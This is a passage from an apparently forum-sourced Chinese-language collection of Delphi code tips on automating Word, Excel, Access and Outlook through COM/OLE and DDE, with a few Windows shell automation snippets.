myItem.Body := myItem.Body + ' myOlApp := VarNull;' + #13;

myItem.Body := myItem.Body + ' myItem := VarNull;' + #13;

myItem.Body := myItem.Body + ' myRecipient := VarNull;' + #13;

myItem.Body := myItem.Body + ' myAttachments := VarNull;' + #13;

myItem.Body := myItem.Body + 'end;' + #13;

// 开始粘贴附件...

myAttachments := myItem.Attachments;

myAttachments.Add('C:\blah.txt', olByValue, 1, 'Blah.txt Attachment');

myItem.Send

myOlApp := VarNull;

myItem := VarNull;

myRecipient := VarNull;

myAttachments := VarNull;

end;


判断Office是否正在运行

uses ComObj,ActiveX;

function IsObjectActive(className : string):boolean;
var
ClassID: TCLSID;
Unknown: IUnknown;
begin
try
ClassID := ProgIDToClassID(ClassName);
result := GetActiveObject(ClassID, nil, Unknown) = S_OK;
except
// raise;
result := false;
end;
end;

   procedure TForm1.Button1Click(Sender: TObject);
begin
if IsObjectActive('Word.Application') then ShowMessage('Word
   is running !');
if IsObjectActive('Excel.Application') then ShowMessage('Excel
   is running !');
if IsObjectActive('Outlook.Application') then
   ShowMessage('Outlook is running !');
if IsObjectActive('Access.Application') then
   ShowMessage('Access is running !');
if IsObjectActive('Powerpoint.Application') then
   ShowMessage('Powerpoint is running !');
end;


调用Access的报表

var
Access: Variant;
begin
// open the Access application
  try
    Access := GetActiveOleObject('Access.Application');
  except
    Access := CreateOleObject('Access.Application');
  end;
  Access.Visible := True;

  Access.OpenCurrentDatabase('C:\My Documents\Books.mdb', True);

{The value for the second parameter should be one of
acViewDesign, acViewNormal, or acViewPreview. acViewNormal, which is the default, prints the report immediately. If you are not using the type library, you can define these values like this:

  const
    acViewNormal = $00000000;
    acViewDesign = $00000001;
    acViewPreview = $00000002;

The third parameter is for the name of a query in the current
database. The fourth parameter is for a SQL WHERE clause - the string must be valid SQL, minus the WHERE.}
  Access.DoCmd.OpenReport('Titles by Author', acViewPreview,
EmptyParam, EmptyParam);

<...>
// close the database
  Access.CloseCurrentDatabase;

// close the Access application
  {const
    acQuitPrompt = $00000000;
    acQuitSaveAll = $00000001;
    acQuitSaveNone = $00000002;}
  Access.Quit(acQuitSaveAll);
end;


在Word插入字符

 procedure TForm1.Button1Click(Sender: Tobject);
var MSWord: Variant;
begin
MSWord := CreateOLEObject('Word.Application');//连接Word
MSWord.Documents.Open(FileName:='d:\test.doc', ReadOnly:=True);//打开外部Word文档
MSWord.Visible := 1;//是否显示文件编辑
MSWord.ActiveDocument.Range(Start:=0, End:=0);//开始改变的启止位置
MSWord.ActiveDocument.Range.InsertAfter(Text:='Title');//在Word中增加字符'Title'
MSWord.ActiveDocument.Range.InsertParagraphAfter;
MSWord.ActiveDocument.Range.Font.Name := 'Arial';//字体名称
MSWord.ActiveDocument.Range.Font.Size := 24;//字体大小
end;


Delphi + Word = 数据库 + 公文处理

孙立

delphi擅长做数据库类的mis开发，但对于oa就有点力不从心了。不过随着microsoft的com技术逐渐成熟，现在普通windows应用已经可以和office 97无缝结合了，尤其是在delphi 5中提供了一组servers组件，更是简化了程序开发。

最近接触了一个用户的案例，用delphi控制word做一个合同管理程序。办公人员先根据业务需要，写好合同的文字，但在用户名称、产品名称等变化的位置填写指定的标记字符串，然后通过delphi把数据库中的实际数据替换掉word中的文字，最后让word打印出合同。

delphi自带了一个简单的word例题，但功能太简单。通过查找vba的说明，再对照delphi的vcl，编写了如下代码，实现了基本的公文管理功能。

启动word时用如下代码：

begin

try

wordapplication.connect;

except

messagedlg('word may not be installed', mterror, [mbok], 0);

abort;

end;

wordapplication.visible := true;

wordapplication.caption := 'delphi automation';

end;

关闭word用如下代码。如果想保存doc文件，请修改savechanges变量的内容：

var

savechanges, originalformat, routedocument: olevariant;

begin

savechanges := wddonotsavechanges;

originalformat := unassigned;

routedocument := unassigned;

try

wordapplication.quit(savechanges, originalformat, routedocument);

wordapplication.disconnect;

except

on e: exception do

begin

showmessage(e.message);

wordapplication.disconnect;

end;

end;

end;

让word打开一个指定的文件，需要先放置opendialog，然后调用wordapplication.documents.open：

var

itemindex :olevariant;

filename, confirmconversions, readonly, addtorecentfiles,

passworddocument, passwordtemplate, revert,

writepassworddocument, writepasswordtemplate, format: olevariant;

begin

if not dlgopen.execute then

exit;

{open document}

filename := dlgopen.filename;

confirmconversions := false;

readonly := false;

addtorecentfiles := false;

passworddocument := '';

passwordtemplate := '';

revert := true;

writepassworddocument := '';

writepasswordtemplate := '';

format := wdopenformatdocument;

wordapplication.documents.open( filename, confirmconversions,

readonly, addtorecentfiles, passworddocument, passwordtemplate,

revert, writepassworddocument, writepasswordtemplate, format );

{assign worddocument component}

itemindex := 1;

worddocument.connectto(wordapplication.documents.item(itemindex));

{turn spell checking of because it takes a long time if enabled and slows down winword}

wordapplication.options.checkspellingasyoutype := false;

wordapplication.options.checkgrammarasyoutype := false;

end;

让word替换标记字符串要使用worddocument.range.find.execute，这里用delphi替换了<#name>：

var

findtext, matchcase, matchwholeword, matchwildcards, matchsoundslike,

matchallwordforms, forward, wrap, format, replacewith, replace: olevariant;

begin

findtext := '<#name>';

matchcase := false;

matchwholeword := true;

matchwildcards := false;

matchsoundslike := false;

matchallwordforms := false;

forward := true;

wrap := wdfindcontinue;

format := false;

replacewith := 'delphi';

replace := true;

worddocument.range.find.execute( findtext, matchcase, matchwholeword,

matchwildcards, matchsoundslike, matchallwordforms, forward,

wrap, format, replacewith, replace );

end;

上面这4段代码完成了公文管理的基本功能，再把它和数据库结合起来，就可以开发一个与lotus notes类似的产品了。


往Word、Excel中输出数据库内容

unit OfficeForm;

interface

uses
SysUtils, Windows, Messages, Classes, Graphics,
Controls, Forms, DBCtrls, StdCtrls, DBTables,
ExtCtrls, Mask, Db, Dialogs, Excel97, Word97,
OleServer;

type
TFormOff = class(TForm)
DBEdit3: TDBEdit;
Label3: TLabel;
Label2: TLabel;
DBEdit2: TDBEdit;
DBEdit1: TDBEdit;
Label1: TLabel;
DBNavigator1: TDBNavigator;
Table1: TTable;
DataSource1: TDataSource;
BtnWord: TButton;
BtnExcel: TButton;
SaveDialog1: TSaveDialog;
ExcelApplication1: TExcelApplication;
WordDocument1: TWordDocument;
procedure BtnWordClick(Sender: TObject);
procedure BtnExcelClick(Sender: TObject);
end;

var
FormOff: TFormOff;

implementation

{$R *.DFM}

uses
ComObj, ActiveX;

procedure TFormOff.BtnWordClick(Sender: TObject);
var
Bookmark: TBookmark;
RangeW: Word97.Range;
v1: Variant;
ov1: OleVariant;
Row1: Word97.Row;
begin
WordDocument1.Activate;
// insert title
WordDocument1.Range.Text := 'American Capitals from ' + Table1.TableName;
WordDocument1.Range.Font.Size := 14;
// disable the UI
Table1.DisableControls;
try
// store the current position
Bookmark := Table1.GetBookmark;
try
// scan the database table
Table1.First;
while not Table1.EOF do
begin
// send the two fields
WordDocument1.Range.InsertParagraphAfter;
WordDocument1.Paragraphs.Last.Range.Text :=
Table1.FieldByName ('Name').AsString + #9 +
Table1.FieldByName ('Capital').AsString;
Table1.Next;
end;
finally
// go back to the bookmark and destroy it
Table1.GotoBookmark (Bookmark);
Table1.FreeBookmark (Bookmark);
end;
finally
// re-enable the controls
Table1.EnableControls;
end;
RangeW := WordDocument1.Content;
v1 := RangeW;
v1.ConvertToTable (#9, 19, 2);
Row1 := WordDocument1.Tables.Item(1).Rows.Get_First;
Row1.Range.Bold := 1;
Row1.Range.Font.Size := 30;
Row1.Range.InsertParagraphAfter;
ov1 := ' ';
Row1.ConvertToText (ov1);
end;

   procedure TFormOff.BtnExcelClick(Sender: TObject);
var
RangeE: Excel97.Range;
I, Row: Integer;
Bookmark: TBookmarkStr;
begin
// create and show
ExcelApplication1.Visible [0] := True;
ExcelApplication1.Workbooks.Add (NULL, 0);
// fill is the first row with field titles
RangeE := ExcelApplication1.ActiveCell;
for I := 0 to Table1.Fields.Count - 1 do
begin
RangeE.Value := Table1.Fields [I].DisplayLabel;
RangeE := RangeE.Next;
end;
// add field data in following rows
Table1.DisableControls;
try
Bookmark := Table1.Bookmark;
try
Table1.First;
Row := 2;
while not Table1.EOF do
begin
RangeE :=
   ExcelApplication1.Range ['A' + IntToStr (Row),
'A' + IntToStr (Row)];
for I := 0 to
   Table1.Fields.Count - 1 do
begin
RangeE.Value
   := Table1.Fields [I].AsString;
RangeE := RangeE.Next;
end;
Table1.Next;
Inc (Row);
end;
finally
Table1.Bookmark := Bookmark;
end;
finally
Table1.EnableControls;
end;
// format the section
RangeE := ExcelApplication1.Range ['A1', 'E' + IntToStr (Row - 1)];
RangeE.AutoFormat (3, NULL, NULL, NULL, NULL, NULL, NULL);
end;

initialization
CoInitialize (nil);
end.

procedure TTumOgr.SpeedButton1Click(Sender: TObject);

var XApp:Variant;

sheet:Variant;

r,c:Integer;

row,col:Integer;

filName:Integer;

q:Integer;

begin

XApp:=CreateOleObject('Excel.Application');

XApp.Visible:=true;

XApp.WorkBooks.Add(-4167);

XApp.WorkBooks[1].WorkSheets[1].Name:='Sheet1';

sheet:=XApp.WorkBooks[1].WorkSheets['Sheet1'];

for filName:=0 to DMod.OgrSiralaQuery.FieldCount-1 do

begin

q:=filName+1;

sheet.Cells[1,q]:=DMod.OgrSiralaQuery.Fields[filName].FieldName;

end;

for r:=0 to DMod.OgrSiralaQuery.RecordCount-1 do

begin

for c:=0 to DMod.OgrSiralaQuery.FieldCount-1 do

begin

row:=r+2;

col:=c+1;

sheet.Cells[row,col]:=DMod.OgrSiralaQuery.Fields[c].AsString;

end;

DMod.OgrSiralaQuery.Next;

end;

XApp.WorkSheets['Sheet1'].Range['A1:AA1'].Font.Bold:=True;

XApp.WorkSheets['Sheet1'].Range['A1:K1'].Borders.LineStyle :=13;

XApp.WorkSheets['Sheet1'].Range['A2:K'+inttostr(DMod.OgrSiralaQuery.RecordCount-1)].Borders.LineStyle :=1;

XApp.WorkSheets['Sheet1'].Columns[1].ColumnWidth:=16;

XApp.WorkSheets['Sheet1'].Columns[2].ColumnWidth:=7;

XApp.WorkSheets['Sheet1'].Columns[3].ColumnWidth:=19;

XApp.WorkSheets['Sheet1'].Columns[4].ColumnWidth:=9;

XApp.WorkSheets['Sheet1'].Columns[5].ColumnWidth:=9;

XApp.WorkSheets['Sheet1'].Columns[6].ColumnWidth:=9;

XApp.WorkSheets['Sheet1'].Columns[7].ColumnWidth:=46;

XApp.WorkSheets['Sheet1'].Columns[8].ColumnWidth:=9;

XApp.WorkSheets['Sheet1'].Columns[9].ColumnWidth:=7;

XApp.WorkSheets['Sheet1'].Columns[10].ColumnWidth:=6;

XApp.WorkSheets['Sheet1'].Columns[11].ColumnWidth:=13;

end;


用Word做Delphi报表输出工具

    笔者在实际应用中发现，报表的内容一般很少变动，但其字体格式及版式是经常变动的，而且有时用户为了某种需要，不想修改数据库的真实内容而又要改变报表内容。如果用ReportSmith可以解决前者问题，但对于后者则无能为力了，且其界面是英文的，不合用户习惯。如果用3.0中的TQReport的报表部件，则两者都不能实时解决，必须修改原代码后重新编译才能使用。而使用Word及Excel则完全可以克服以上不足。具体实现如下(以Word实现为例)：

    首先用Word编辑报表格式，并排好版，把将要输出的数据项用表单域代替，并取名。这里我们暂时假设有表单域Item1及Item2(均为文本型),将这个文档存为模板文件Example.dot，然后按如下步骤进行：

    1)运行Delphi3，在Form1里加入一个System部件集里的TDdeClientCov部件，取名为DdeExample,将其ConnectMode设为ddeManual(手动方式)；将DdeService设为‘(WinWord)’；将ServiceApplication设为‘WinWord’。

    2)编写一个自定义过程，以激活Word，如下：

    procedure Tform1.WordActive(Cmds: TStrings);

    var

     WordPath: String;

    begin

     if(not DdeExample.OpenLink) then {判断是否巳动态链接}

     begin

    if(FindWindow('OpusApp', nil)=0) then

    begin

    WordPath := 'C:\msoffice\winword';

     if(WordPath='') then

    ShowMessage('中文Word未安装或未设置路径，请安装设置Word中文 版。')

     else begin

    DdeExample.ServiceApplication := WordPath+'\Winword.exe';

    if(DdeExample.OpenLink) then {如果巳动态链接执行宏命令}

DdeExample.ExecuteMacroLines(Cmds,False)

   else

ShowMessage('无法启动Word中文版!');

   DdeExample.ServiceApplication := 'WinWord.exe';

   end;

     end

     else begin{如果巳动态链接执行宏命令}

     DdeExample.ExecuteMacroLines(Cmds,False);

     end;

     end

     else

     DdeExample.ExecuteMacroLines(Cmds,false);

    end;

    在private声明区里加入如下：

    procedure ActiveWord(Cmds: TStrings);

    3)在Form1中加入一个按钮Button1,在其onclick事件里写如下代码：

    procedure TForm1.Button1Click(Sender: TObject);

    var

    Cmds:TStringList;{创建Cmds}

    TempItem1,TempItem2:String;

    begin

    cmds:=TStringList.Create;

    cmds.Clear;

    TempItem1:='数据项一';

    TempItem2:='数据项二';

    with Cmds do

    begin

    Clear;

    Add('[FileNew.Template ="Example.Dot″]');{打开模板文件Example.Dot}

    Add('[AppMaximize]');{文档最大化}

    Add('[SetFormResult"Item1″,″'+TempItem1+'″]');{将数据TempItem1传给表单域Item1}

    Add('[SetFormResult"Item2″,″'+TempItem2+'″]);{将数据TempItem2传给表单域Item2}

    end;

    WordActive(DdeExample,Cmds);{调用自定义过程}

    Cmds.Free;{释放Cmds}

    end;

    运行这个程序，单击Button1，大家可以发现Word被启动了，屏幕上出现了：数据项一;数据项二两个数据项。最后，大家可以任意修改本报表的格式及数据，因为这时这个报表与具体的应用程序巳没有关系了。

    本例中用的是中文Word6或中文Word7。由于Word97的宏命令巳变为Visual Basic语句，如大家想用Word97实现，请将其宏命令改变为相应的代码。

    这是个简单的示例，大家可以利用Word的宏录制功能，录取更多的宏(如自动生成表格、填充文字、变动字体等宏命令)，并与数据库的各种表联系起来，依次加入Cmds中即可实现您所要求的更复杂的功能。


转换Word文档为RTF

procedure TImport_Form.ToolButton3Click(Sender: TObject);

Var

WordApp:Variant;

begin

if OpenDialog1.Execute then

Begin

Edit1.Text:=ExtractFileName(OpenDialog1.FileName);

StatusBar1.SimpleText:=OpenDialog1.FileName;

WordApp := CreateOleObject('Word.Basic');

If not VarIsEmpty(WordApp) then

Begin

WordApp.FileOpen(OpenDialog1.FileName);

WordApp.FileSaveAs(Name := 'c:\temp_bb.rtf', Format:=6);

WordApp.AppClose;

WordApp:=Unassigned;

WordEditor.Lines.LoadFromFile('c:\temp_bb.rtf');

End Else ShowMessage('Could not start MS Word');

End;

end;

Format:=6 表示 Word将按RTF格式保存文件

其他文件格式

Format

-------- ------

0 Word

1 文档模板

2 文本

3 文本加断行

4 文本 (扩展字符集按IBM PC字符集保存)

5 文本 ＋断行(扩展字符集按IBM PC字符集保存)

6 RTF格式


使用Word打印信件

Unit WordCls;

Interface

Uses SysUtils, COMObj, Dialogs;

Type TWordObj = Class(TObject)

Private

WordApp: Variant;

Version: SmallInt;

Public

Constructor CreateObject(nVer: SmallInt; Visible: Boolean);

Destructor Destroy; Override;

Procedure FileOpen(FileName: String);

Procedure MakeBig;

Procedure MailMergeToDoc;

Procedure FilePrintSetup(NewPrinter: String);

Procedure FilePrint;

Procedure FileClose;

end;

Implementation

CONST

wdDoNotSaveChanges = 0;

wdSendToNewDocument = 0;

wdWindowStateMaximize = 1;

Constructor TWordObj.CreateObject(nVer: SmallInt; Visible: Boolean);

begin

Inherited Create;

Version := nVer;

WordApp := CreateOleObject('Word.Application');

If not VarIsEmpty(WordApp) then

WordApp.Visible := Visible;

end;

Destructor TWordObj.Destroy;

Begin

Try

WordApp.Quit(wdDoNotSaveChanges);

finally

Inherited;

end;

end;

Procedure TWordObj.FileOpen(FileName: String);

Begin

WordApp.Documents.Open(FileName);

end;

Procedure TWordObj.MakeBig;

begin

WordApp.WindowState := wdWindowStateMaximize

END;

Procedure TWordObj.MailMergeToDoc;

Begin

WordApp.ActiveDocument.MailMerge.Destination := wdSendToNewDocument;

WordApp.ActiveDocument.MailMerge.Execute;

end;

Procedure TWordObj.FilePrintSetup(NewPrinter: String);

Begin

WordApp.ActivePrinter := NewPrinter;

end;

Procedure TWordObj.FilePrint;

Begin

WordApp.ActiveDocument.PrintOut(False);

end;

Procedure TWordObj.FileClose;

Begin

WordApp.Documents.Close(wdDoNotSaveChanges);

end;

end.


控制Excel

用Delphi 5.0编写OLE程序操纵Excel

---- OLE自动化是Windows应用程序之间互相操纵的一种技巧。被操纵的一方称为自动化服务器（也称自动化对象），典型的自动化服务器有Microsoft Word、Excel和Powerpoint。操纵自动化服务器的一方称为自动化控制器。在开发数据库应有程序中，经常需要借助Microsoft Excel的强大报表功能，把数据库中的数据输出到Excel表格中。Delphi 5.0以前的版本虽然也可以编写自动化控制器和自动化服务器，但编写程序较为复杂，不易掌握。Delphi 5.0对于OLE提供了强大的支持，利用Delphi 5.0最新提供的Servers栏控件可以很容易开发OLE自动化控制器实现对OLE自动化服务器的调用，发挥Word、Excel、Powerpoint的强大功能。

---- 下面给出一利用Delphi 5.0开发OLE自动化控制器操纵Excel的实例，希望对用Delphi开发OLE应用程序的编程人员有所帮助。

---- 首先新建一Application， 然后在Form1上放置Servers栏控件ExcelApplication1、 ExcelWorkbook1、 ExcelWorksheet1， 再放置控件Table1、 Datasource1、 Dbgrid1、 Button1、 Button2、 Button3、 Button4， 并设置Table1.databasename:=dbdemos， Table1.TableName:=Country.db， Table1.active:=True, Button1.Caption:='SaveToExcel', Button2.caption:='PrintPreview', Button3.caption:='Print', Button4.caption:='CloseExcel'。代码如下：

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Classes,
 Graphics, Controls,
 Forms, Dialogs, Excel97, OleServer, Db, DBTables,
 Grids, DBGrids, StdCtrls;

type
 TForm1 = class(TForm)
  ExcelApplication1: TExcelApplication;
  ExcelWorkbook1: TExcelWorkbook;
  ExcelWorksheet1: TExcelWorksheet;
  Table1: TTable;
  Table1Name: TStringField;
  Table1Capital: TStringField;
  Table1Continent: TStringField;
  Table1Area: TFloatField;
  Table1Population: TFloatField;
  button1: TButton;
  DataSource1: TDataSource;
  DBGrid1: TDBGrid;
  Button2: TButton;
  Button3: TButton;
  Button4: TButton;
  procedure button1Click(Sender: TObject);
  procedure Button2Click(Sender: TObject);
  procedure Button3Click(Sender: TObject);
  procedure Button4Click(Sender: TObject);
 private
  { Private declarations }
 public
  { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.button1Click(Sender: TObject);
var
 i,row,column:integer;
begin
 Try
  ExcelApplication1.Connect;
 Except
  MessageDlg('Excel may not be installed',
  mtError, [mbOk], 0);
  Abort;
 End;
 ExcelApplication1.Visible[0]:=True;
 ExcelApplication1.Caption:='Excel Application';
 ExcelApplication1.Workbooks.Add(Null,0);
 ExcelWorkbook1.ConnectTo
 (ExcelApplication1.Workbooks[1]);
 ExcelWorksheet1.ConnectTo
 (ExcelWorkbook1.Worksheets[1] as _Worksheet);
 Table1.Open;
 row:=1;
 While Not(Table1.Eof) do
 begin
   column:=1;
   for i:=1 to Table1.FieldCount do
   begin
    ExcelWorksheet1.Cells.Item[row,column]:
    =Table1.fields[i-1].AsString;
    column:=column+1;
   end;
   Table1.Next;
   row:=row+1;
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ExcelWorksheet1.PrintPreview;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
 ExcelWorksheet1.PrintOut;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
 ExcelApplication1.Disconnect;
 ExcelApplication1.Quit;
end;

end.


利用Delphi 5中调用Excel

---- 在Delphi 5中简单地封装了一组Microsoft Office自动化对象(Automation servers)。它使得我们很容易地把Office中的应用程序(Word, Excel, PowerPoint, Outlook and Access等)当作一个com应用服务器进行控制。在Delphi 5中已经带了Word与PowerPoint的例子，因为Excel的调用与这两个应用服务器的调用略有不同，所以本人根据这两个例子写了个Excel 97的简单例子以供参考。

---- 步聚

1. 创建一个普通Application。

2. 在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。

3. 连接Excel 97，具体方法如下：

打开Excel97。

Try

ExcelApplication1.Connect;

Except

End;

ExcelApplication1.Visible[0]:=True;

增加一个Workbook。

ExcelWorkbook1.ConnectTo(ExcelApplication1.

Workbooks.Add(EmptyParam,0));

添加一个Worksheet。

var

Temp_Worksheet: _WorkSheet;

begin

Try

Temp_Worksheet:=ExcelWorkbook1.

WorkSheets.Add(EmptyParam,

EmptyParam,EmptyParam,EmptyParam,0)

as _WorkSheet;//(注意)

ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);

Except

ShowMessage('Failure');

End;

end;

关闭Excel.

Try

ExcelApplication1.Quit;

ExcelWorksheet1.Disconnect;

ExcelWorkbook1.Disconnect;

ExcelApplication1.Disconnect;

Except

End;

---- 4. 对Excel的一些操作:

选择当前Workbook的某一Worksheet.

procedure TForm1.ComboBox1DropDown

(Sender: TObject);

var

i: Integer;

begin

ComboBox1.Clear;

For i:=1 to ExcelWorkbook1.

Worksheets.Count do

ComboBox1.Items.Add

((ExcelWorkbook1.Worksheets.Item[i]

as _WorkSheet).Name);

end;

procedure TForm1.ComboBox1Change

(Sender: TObject);

begin

ExcelWorkSheet1.ConnectTo

(ExcelWorkbook1.Worksheets.Item

[ComboBox1.ItemIndex+1] as _WorkSheet);

ExcelWorkSheet1.Activate;

end;

选择某一Workbook:

procedure TForm1.ComboBox2DropDown

(Sender: TObject);

var

i: Integer;

begin

ComboBox2.Clear;

if ExcelApplication1.Workbooks.Count >0 then

For i:=1 to ExcelApplication1.Workbooks.Count do

Combobox2.Items.Add(ExcelApplication1.

Workbooks.Item[i].Name);

end;

procedure TForm1.ComboBox2Change(Sender: TObject);

begin

ExcelWorkSheet1.Disconnect;

ExcelWorkBook1.ConnectTo(ExcelApplication1.Workbooks.

Item[Combobox2.ItemIndex+1]);

ExcelWorkBook1.Activate;

ExcelWorksheet1.ConnectTo(ExcelWorkBook1.

ActiveSheet as _WorkSheet);

ExcelWorkSheet1.Activate;

end;

对某一单元格进行赋值及取值。

procedure TForm1.Button5Click(Sender: TObject);

begin

ExcelWorksheet1.Cells.Item[SpinEdit2.Value,

SpinEdit1.Value]:=Edit1.Text;

end;

procedure TForm1.Button6Click(Sender: TObject);

begin

Edit1.Text:=ExcelWorksheet1.Cells.Item[

SpinEdit2.Value,SpinEdit1.Value];

end;

选择某一区域

ExcelWorkSheet1.Range['A1','C1'].Select;

打开一个Excel文件。

if OpenDialog1.Execute then

Begin

Try

ExcelWorkBook1.ConnectTo

(ExcelApplication1.Workbooks.Open

(OpenDialog1.FileName,

EmptyParam,EmptyParam,EmptyParam,

EmptyParam,EmptyParam,

EmptyParam,EmptyParam,EmptyParam,

EmptyParam,EmptyParam,

EmptyParam,EmptyParam,0));

ExcelWorkSheet1.ConnectTo

(ExcelWorkBook1.Activesheet

as _Worksheet);

Except;

End;

End;

---- 说明

---- 本程序在Win98+Delphi 5+Excel 97下运行通过。本例子还可以作适当的扩充，如DDE、执行宏调用、保存文件、打印文件及对Excel的设置等，此设置方法请参阅Microsoft Excel Visual Basic参考中的Microsoft Excel对象。


操作EXCEL电子表格

如何在DELPHI中操作EXCEL电子表格

EXCEL电子表格作为办公软件OFFICE中的重要组成部份，是日常办公系统的主要助手，因此许多日常所需的业务方面的数据通常是通过电子表格存取。有时我们需要从日常工作中创建的EXCEL中取得数据进行操作、打印、查询，统计等工作。在这里我将介绍如何利用delphi完成EXCEL电子表格中数据的操作。

一、 新建一项目，从控件栏servers中分别选取控件：excelapplication、excelworkbook1、excelworksheet，放到主窗体from1中，并加入stringgrid、三个按钮、五个显示字段内容的EDIT、二个操作显示记录的label、一个用于打开EXCEL电子表格的控件opendialog等，如下图所示：

1.jpg (21012 Bytes)

二、选择excel表'按钮，用于打开EXCEL文件,其代码如下：
procedure TForm1.Button1Click(Sender: TObject);
var i,j:integer;
begin
opendialog1.InitialDir:=ExtractFileDir(paramstr(0));//文件的打存放初始路径
opendialog1.Execute;
Try
ExcelApplication1.Connect;//EXCEL应用程序
Except
MessageDlg('Excel may not be installed',mtError, [mbOk], 0);
Abort;
End;
ExcelApplication1.Visible[0]:=True;
ExcelApplication1.Caption:='Excel Application';
try
excelapplication1.Workbooks.Open(opendialog1.FileName,
null,null,null,null,null,null,null,null,null,null,null,null,0);//打开指定的EXCEL 文件
except
begin
ExcelApplication1.Disconnect;//出现异常情况时关闭
ExcelApplication1.Quit;showmessage('请选择EXCEL电子表格!');
exit;
end;
end;
ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks[1]);//ExcelWorkbook1与Eexcelapplication1建立连接
ExcelWorksheet1.ConnectTo(ExcelWorkbook1.Worksheets[1] as _Worksheet);//Excelworksheet1与Excelworkbook1建立连接
//开始从EXCEL中取数，放到stringgrid1中，取完数后关闭EXCEL
for i:=1 to 1000 do//最大取值1000
for j:=1 to 6 do
begin
if trim(excelworksheet1.cells.item[i+1,1])<>'' then
begin
stringgrid1.rowCount:=i+1;
stringgrid1.Cells[j,i]:=ExcelWorksheet1.Cells.Item[i+1,j];
end
else
begin
label3.caption:=inttostr(i-1);
ExcelApplication1.Disconnect;
ExcelApplication1.Quit;
//将第一条数据赋给编辑框
edit2.text:=stringgrid1.Cells[1,1];
edit1.text:=stringgrid1.Cells[2,1];
edit3.text:=stringgrid1.Cells[3,1];
edit4.text:=stringgrid1.Cells[4,1];
edit5.text:=stringgrid1.Cells[5,1];
exit;
end;
end;
end;

三、'下一条记录'按钮，完成记录向下移动，代码如下：
procedure TForm1.Button2Click(Sender: TObject);
var x:integer;
begin
x:=stringgrid1.row+1;
if x<> stringgrid1.RowCount then
begin
stringgrid1.row:=stringgrid1.row+1;
label1.caption:=inttostr(x);
edit2.text:=stringgrid1.Cells[1,x];
edit1.text:=stringgrid1.Cells[2,x];
edit3.text:=stringgrid1.Cells[3,x];
edit4.text:=stringgrid1.Cells[4,x];
edit5.text:=stringgrid1.Cells[5,x];
exit;
end
else
showmessage('已到第一条记录!');
end;

四、'上一条记录'，完成记录上移，代码如下：
var x:integer;
begin
x:=stringgrid1.row-1;
if x<>0 then
begin
stringgrid1.row:=stringgrid1.row-1;
label1.caption:=inttostr(x);
edit2.text:=stringgrid1.Cells[1,x];
edit1.text:=stringgrid1.Cells[2,x];
edit3.text:=stringgrid1.Cells[3,x];
edit4.text:=stringgrid1.Cells[4,x];
edit5.text:=stringgrid1.Cells[5,x];
exit;
end
else
showmessage('已到最后一条记录!');
end;

五、stringgrid中上下移动时代码：
procedure TForm1.StringGrid1Click(Sender: TObject);
var i:integer;
begin
i:=stringgrid1.Row;
label1.caption:=inttostr(i);
edit1.text:=stringgrid1.Cells[2,i];
edit2.text:=stringgrid1.Cells[1,i];
edit3.text:=stringgrid1.Cells[3,i];
edit4.text:=stringgrid1.Cells[4,i];
edit5.text:=stringgrid1.Cells[5,i];
end;

六、运行程序，点击按钮1打开excel表格。程序将启动EXCEL，并打开了选择的电子表格，这时请不要关闭EXCEL，当程序从EXCEL取数完毕将自动关闭EXCEL程序，应用程序取出了EXCEL数据，显示在stringgrid中，并将第一笔数据各字段的值赋给了左边的对应的edit字段。点击按钮2、按钮3可以查看下一条或上一条记录。也可以使用光标在stringgrid1上移动。

2.jpg (21752 Bytes)

同时我们也可以对stringgrid中的记录进行查询、定位。相反，也可以将数据库中的数据输入到EXCEL中。 总之，只要我们从EXCEL提取出数据，并保存到stringgrid中，我们就可以进行相应操作，如统计、查询、重新输出，使平进的EXCEL电子表格中的数据在应用程序中得到利用。

作者会员名：mypost


通知资源管理器系统变化

MkDir(NewDir);
SHChangeNotify(SHCNE_MKDIR,SHCNF_PATH,PChar(NewDir),nil);

RenameDir(OldName,NewName);
SHChangeNotify(SHCNE_RENAMEFOLDER,SHCNF_PATH,PChar(OldName),pChar(NewName));


外壳自动化控制

我发现如果你导入Microsoft Shell Controls & Automation Type Library，你可以在一个构件中得到这些功能。

在菜单上选择Project..Import Type Library...

选择 Microsoft Shell Controls & Automation (version 1.0).

点击 Install...

这里会有几个构件被安装到ActiveX构件栏。拖一个TShell构件到你的窗体或者DM上，你就可以使用以下代码实现全部最小化的功能：

Shell1.MinimizeAll;

/*********************************************************************

这里还有许多真正cool的Shell技巧在TShell构件中

*********************************************************************/

procedure TForm1.Shell(sMethod: Integer);

begin

case sMethod of

0:

//最小化桌面上所有的窗口

begin

Shell1.MinimizeAll;

Button1.Tag := Button1.Tag + 1;

end;

1:

//显示运行对话框

begin

Shell1.FileRun;

Button1.Tag := Button1.Tag + 1;

end;

2:

//显示关闭Windows对话框

begin

Shell1.ShutdownWindows;

Button1.Tag := Button1.Tag + 1;

end;

3:

//显示搜索对话框

begin

Shell1.FindFiles;

Button1.Tag := Button1.Tag + 1;

end;

4:

//显示日期/时间对话框

begin

Shell1.SetTime;

Button1.Tag := Button1.Tag + 1;

end;

5:

//显示Internet属性对话框

begin

Shell1.ControlPanelItem('INETCPL.cpl');

Button1.Tag := Button1.Tag + 1;

end;

6:

//让用户选择“程序”的存放路径

begin

Shell1.BrowseForFolder(0, 'My Programs', 0, 'C:\Program Files');

Button1.Tag := Button1.Tag + 1;

end;

7:

//显示工具栏属性对话框

begin

Shell1.TrayProperties;

Button1.Tag := Button1.Tag + 1;

end;

8:

//恢复桌面上所有的窗口(全部最小化的逆操作)

begin

Shell1.UndoMinimizeAll;

Button1.Tag := 0;

end;

end; {case}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Shell(Button1.Tag);

end;


使用IShellFolder接口列举文件夹内容

为了列举Windows的Namespace中的对象，我们不得不使用到IShellFolder接口。每个容器对象（通常是文件夹）都必须实现这个接口。

以下是IShellFolder的声明 (ShlObj.pas):

IShellFolder = interface(IUnknown)

[SID_IShellFolder]

function ParseDisplayName(hwndOwner: HWND;

pbcReserved: Pointer; lpszDisplayName: POLESTR; out pchEaten: ULONG;

out ppidl: PItemIDList; var dwAttributes: ULONG): HResult; stdcall;

